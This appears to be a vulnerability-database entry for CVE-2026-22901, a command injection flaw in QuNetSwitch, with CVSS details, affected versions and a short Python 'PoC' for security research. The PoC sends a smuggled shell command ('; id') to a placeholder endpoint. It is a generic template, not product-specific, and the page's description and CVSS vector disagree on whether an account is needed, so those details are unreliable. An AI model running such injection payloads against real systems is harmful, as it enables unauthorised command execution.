Security Vulnerability Report
中文
CVE-2026-22901 CVSS 9.8 CRITICAL

CVE-2026-22901

Published: 2026-03-20 17:16:45
Last Modified: 2026-03-25 20:57:06

Description

A command injection vulnerability has been reported to affect QuNetSwitch. If a remote attacker gains a user account, they can then exploit the vulnerability to execute arbitrary commands. We have already fixed the vulnerability in the following version: QuNetSwitch 2.0.5.0906 and later

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:qnap:qunetswitch:*:*:*:*:*:*:*:* - VULNERABLE
QuNetSwitch < 2.0.5.0906

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (placeholder) target_url = "http://<target-ip>/vulnerable_endpoint" # Malicious payload to execute 'id' command payload = "; id" # Construct the request data data = { "param": payload } try: response = requests.post(target_url, data=data, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
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